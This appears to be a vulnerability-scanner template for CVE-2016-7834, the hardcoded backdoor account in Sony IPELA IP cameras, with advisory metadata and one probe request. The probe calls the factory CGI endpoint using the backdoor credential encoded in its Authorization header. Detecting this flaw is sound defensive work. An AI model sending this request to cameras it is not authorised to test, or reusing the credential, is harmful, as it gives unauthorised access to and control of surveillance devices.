id: CVE-2016-7834

info:
  name: Sony IPELA Engine IP Camera - Hardcoded Account
  author: af001
  severity: high
  description: |
    Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.
  impact: |
    An attacker can gain unauthorized access to the camera and potentially control its functions.
  remediation: |
    Upgrade to the latest version of the firmware provided by Sony.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/backdoor-vulnerability-in-sony-ipela-engine-ip-cameras/
    - https://www.bleepingcomputer.com/news/security/backdoor-found-in-80-sony-surveillance-camera-models/
    - https://jvn.jp/en/vu/JVNVU96435227/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7834
    - https://www.sony.co.uk/pro/article/sony-new-firmware-for-network-cameras
  classification:
    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-7834
    cwe-id: CWE-200
    epss-score: 0.03901
    epss-percentile: 0.88908
    cpe: cpe:2.3:o:sony:snc_series_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sony
    product: snc_series_firmware
  tags: cve2016,cve,sony,backdoor,unauth,telnet,iot,camera,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/command/prima-factory.cgi"

    headers:
      Authorization: Bearer cHJpbWFuYTpwcmltYW5h

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'gen5th'
          - 'gen6th'
        condition: or

      - type: status
        status:
          - 204
# digest: 4a0a00473045022100a48cb9f8fee8cc46c8afae7b56413efe3658702f90dec30ab53b944c1cd2091402207884f0b980a300fbd98df19775470095b6aba4befc69089ef2c9f9f96f4dc565:922c64590222798bb761d5b6d8e72950